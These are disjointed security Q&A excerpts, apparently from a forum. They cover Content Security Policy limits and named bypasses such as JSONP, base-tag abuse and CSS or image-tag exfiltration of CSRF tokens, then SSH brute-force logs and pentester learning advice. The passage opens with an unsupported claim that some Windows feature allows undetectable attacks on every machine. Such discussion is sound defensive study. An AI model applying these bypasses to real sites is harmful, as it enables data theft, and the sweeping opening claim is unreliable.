As I said, the feature is poorly documented and no antivirus today mitigate it.
Thus combining those facts gives an attacker the power to run on every single windows computer today without being detected and the results can be disastrous (C&C communication, data leaks, new types of ransomwares etc..)


What are the limitations of Content Security Policy?

However, it would still be possible to alter the data on the screen in
  unexpected ways, and possible to create a convincing Phishing scam by
  providing a link out to another website.

  Is this accurate, or are out-links prohibitable also?

Yes it is accurate with one caveat: people on your site run modern browsers. For this exact reason, my team considers XSS without actual content injection (e.g. injecting into an unquoted tag attribute context) to be lower priority than a content injection bug itself because of CSP. We are blessed with having virtually no users on browsers that don't support some form of strong CSP.

  What is the scope of a would-be XSS attack with the presence of a
  tight CSP?

Forgive me here if this sounds soapboxy, but your question does not define "tight CSP", so let me elaborate on some things many overlook.

For the sake of argument, let's say this is a policy that is proposed (line breaks added for clarity, this is not a valid header):

Content-Security-Policy:
  default-src 'self';
  img-src https: data:;
  connect-src paypal.com api.example.com;
  script-src 'self' ajax.googleapis.com;
  style-src 'self' 'unsafe-inline'

Note: removing unsafe-inline from style-src is not practical today.

That's a pretty good policy with some obvious and not so obvious flaws, but inline script is not allowed. There are many more caveats to consider with CSP, it's not just about disabling eval and inline script (yes javascript: and on* event handlers are included).

Locking down 3rd parties to actually limit XSS

"CSP Bypasses" are a thing. H5SC Minichallenge 3: "Sh*t, it's
CSP!". We allow a 3rd party cdn which opens up XSS.
CSP: bypassing form-action with reflected
XSS form-action is not covered by default-src 'self' since it is not a "fetch directive".
Data exfiltration via injected content tags (e.g. img, style, etc) where policies tend to be more relaxed. We allowed exfil via the image tag.

So many other vectors still exist

GitHub's CSP journey contains many points on how the policy was tuned to prevent certain attacks.

All of the below can be abused with the proposed policy.

Removing 'self' from script-src to prevent XSS via JSONP
Exfiltrating CSRF tokens via img and form tags
Moving hosted flash files to a different origin instead of 'self' because flash ruins everything.
Using dynamic policies to prevent unexpected use of APIs that should only be used from a specific set of pages.
Limiting use of 'self' for frame-src/child-src
Abusing the base tag.

Sometimes, CSP just doesn't apply.

It's possible to circumvent CSP entirely. See PDF content-type sniffing for an example where user-controlled data on a page can really mess things up.

There's literally nothing we can do about this from CSP's perspective.

And sometimes, the internet makes you cry.

See Stealing the pie without touching the sill where CSS can be used to steal AND exfiltrate data on a page without javascript.

Because removing 'unsafe-inline' is not practical, this attack is possible. However, this attack is difficult to execute.


Please may I know why I am getting this Sshd log

With high probability someone try to login as root enumerating different password (from generator or list).

You should decide do you have business need to open ssh to internet. And if yes to take actions to avoid possibility of login. This can be done by using only ssh key to login as root and disable password for this user


How to get gain the knowledge to be a beginner penetration tester on my own?

You don't need to be a pentester to develop a security tool.
Having a nice security tool under your resume is a big bonus from a job searching perspective, but your skills and knowledge also matter a lot. You can train up reading security write-ups and playing CTFs. To get a glimpse into the pentesting methodology you could look at Ippsec videos from HTB.

Programming languages:

For exploit development it's mostly:
Python, Javascript, Perl

For security tools creation it's mostly anything that you feel comfortable with. Do keep in mind that there are a bunch of benefits to use GO lang, because it's very easy to deploy on any platform, but it's definetly not a must, there are loads of security tools written in Python, Java, Perl.